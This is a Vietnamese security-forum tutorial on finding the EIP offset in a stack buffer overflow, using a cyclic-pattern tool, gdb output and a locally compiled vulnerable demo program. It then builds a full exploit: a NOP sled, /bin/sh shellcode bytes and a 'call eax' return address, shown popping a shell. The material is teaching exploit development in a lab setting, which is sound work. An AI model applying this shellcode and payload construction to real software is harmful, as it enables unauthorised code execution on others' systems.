(BOF) Làm thế nào để tìm được vị trí của EIP ?

Tesla123

VIP Members
25/03/2014
7
141 bài viết
(BOF) Làm thế nào để tìm được vị trí của EIP ?
Bài viết này mình chủ yếu giới thiệu về kinh nghiệm làm thế nào với 1 input mà bạn có thể tính ra được bao nhiêu bytes nhập sẽ chạm tới EIP
icon_biggrin.gif

Sử dụng 1 chuỗi ký tự khác biệt tức là mỗi 4 bytes sẽ khác nhau, trong metasploit có 1 tool là pattern_creater.rb để tạo ra 1 chuỗi các ký tự đặc biệt để đơn giản hóa việc tìm EIP một cách đơn giản. Tuy nhiên không phải ai cũng có sẵn metasploit trong máy :D, mình vừa dev 1 tool tương tự nhưng trên nền ngôn ngữ python, hỗ trợ bạn tạo và tìm vị trí của EIP rất đơn giản

http://pastebin.com/1KhcHmf8

OK demo 1 code bị buffer overflow nhé
icon_biggrin.gif

Code buffer:

http://pastebin.com/88FEPRXt

mục tiêu mình sẽ find được vị trí của eip bằng tools trên.
python pattern_create.py 2000 (tạo pattern có 2000 chars do buffer[1000] :D)
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9…….(rất dài)………..Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9
PHP:
gdb -q exploit
run "(unique junk)"
Program received signal SIGSEGV, Segmentation fault.
0x68423768 in ?? () #=> hB7h
Tool ở đây hỗ trợ bạn copy 1 chuỗi byte và ra offset luôn
icon_biggrin.gif

PHP:
python pattern_create.py 2000 0x68423768
[+] 0x68423768 in Pattern => junk has length is 1012
Test lại trong GDB nhé
icon_biggrin.gif

PHP:
gdb -q exploit
run `python -c 'print "A"*1012+"B"*4'`
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? () #=> BBBB
OK đã find được offset quá dễ phải ko nào
icon_biggrin.gif

mình sẽ execute /bin/sh luôn
icon_biggrin.gif

Nếu để ý ta sẽ thấy eax trỏ đến vị trí đầu của buffer
icon_biggrin.gif

PHP:
(gdb) x/10x $eax
0xffffc498: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffc4a8: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffc4b8: 0x41414141 0x41414141
shellcode :
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b
\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd
\x80\xe8\xdc\xff\xff\xff/bin/sh"

payload sẽ là nop*500+shellcode+nop*(1012-500-length(shellcode))
eip sẽ trỏ đên instructor call eax

PHP:
objdump -D exploit | grep -E 'call\s*eax'
8048387: ff d0 call eax
804840f: ff d0 call eax
Playload nop*500+shellcode+nop*(1012-500-length(shellcode))+’\x0f\x84\x04\x08′
./exploit `python -c 'print "\x90"*500+"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"+"\x90"*(1012-500-53)+"\x0f\x84\x04\x08"'`
sh-4.2$ #pawned
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Re: (BOF) Làm thế nào để tìm được vị trí của EIP ?

Cái hay thế mà giờ mình mới biết, hi.
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Thẻ
eip
Bên trên